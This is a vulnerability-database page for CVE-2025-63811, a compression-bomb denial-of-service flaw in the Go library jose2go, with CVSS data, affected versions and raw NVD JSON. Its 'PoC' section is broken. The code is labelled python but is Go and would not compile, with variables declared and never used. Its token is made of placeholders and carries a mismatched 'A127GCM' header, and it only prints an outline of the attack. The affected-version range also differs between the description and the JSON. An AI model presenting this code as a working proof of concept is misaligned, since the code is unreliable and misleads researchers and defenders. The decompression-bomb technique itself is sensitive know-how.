Security Vulnerability Report
中文
CVE-2025-63811 CVSS 7.5 HIGH

CVE-2025-63811

Published: 2025-11-12 18:15:36
Last Modified: 2025-12-31 16:26:18

Description

An issue was discovered in dvsekhvalnov jose2go 1.5.0 thru 1.7.0 allowing an attacker to cause a Denial-of-Service (DoS) via crafted JSON Web Encryption (JWE) token with an exceptionally high compression ratio.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:dvsekhvalnov:jose2go:*:*:*:*:*:go:*:* - VULNERABLE
jose2go 1.5.0
jose2go 1.5.1
jose2go 1.5.2
jose2go 1.5.3
jose2go 1.6.0
jose2go 1.6.1
jose2go 1.6.2
jose2go 1.6.3
jose2go 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63811 PoC - Compression Ratio DoS for jose2go // This PoC generates a JWE token with extremely high compression ratio package main import ( "encoding/base64" "fmt" "strings" ) func main() { // Create a compression bomb payload // A small compressed payload that expands to huge size when decompressed // This exploits the DEFLATE compression in JWE // Generate payload that decompresses to ~10MB of repeated data smallPayload := strings.Repeat("A", 10) // Small input // In real attack, this would be compressed with DEFLATE // The key is: compressed_size << decompressed_size // JWE Token Structure: // Protected Header (with alg=A128KW, enc=A128GCM, zip=DEF) header := map[string]interface{}{ "alg": "A128KW", "enc": "A128GCM", "zip": "DEF", // Enable DEFLATE compression } // For demonstration, show the attack concept // Actual exploitation requires: // 1. Craft JWE with zip=DEF header // 2. Compress payload with maximum ratio // 3. Send to vulnerable jose2go version fmt.Println("CVE-2025-63811 Attack Concept:") fmt.Println("1. Attacker crafts JWE token with high compression ratio") fmt.Println("2. Sends malicious JWE to target application") fmt.Println("3. jose2go decompresses payload without size limits") fmt.Println("4. Server memory exhaustion leads to DoS") // Example malicious JWE structure maliciousJWE := "eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI3R0NNIiwiemlwIjoiREVGIn0." + "BASE64_ENCODED_KEY." + "COMPRESSED_BOMB_PAYLOAD." + "BASE64_ENCODED_IV" fmt.Printf("\nMalicious JWE Token: %s\n", maliciousJWE) fmt.Println("\nImpact: Server resource exhaustion, DoS") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63811", "sourceIdentifier": "[email protected]", "published": "2025-11-12T18:15:35.953", "lastModified": "2025-12-31T16:26:18.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in dvsekhvalnov jose2go 1.5.0 thru 1.7.0 allowing an attacker to cause a Denial-of-Service (DoS) via crafted JSON Web Encryption (JWE) token with an exceptionally high compression ratio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dvsekhvalnov:jose2go:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.5.0", "versionEndExcluding": "1.7.0", "matchCriteriaId": "BF32B426-9C68-4DBC-83E1-1218E02688F2"}]}]}], "references": [{"url": "https://github.com/dvsekhvalnov/jose2go/issues/33", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation"]}]}}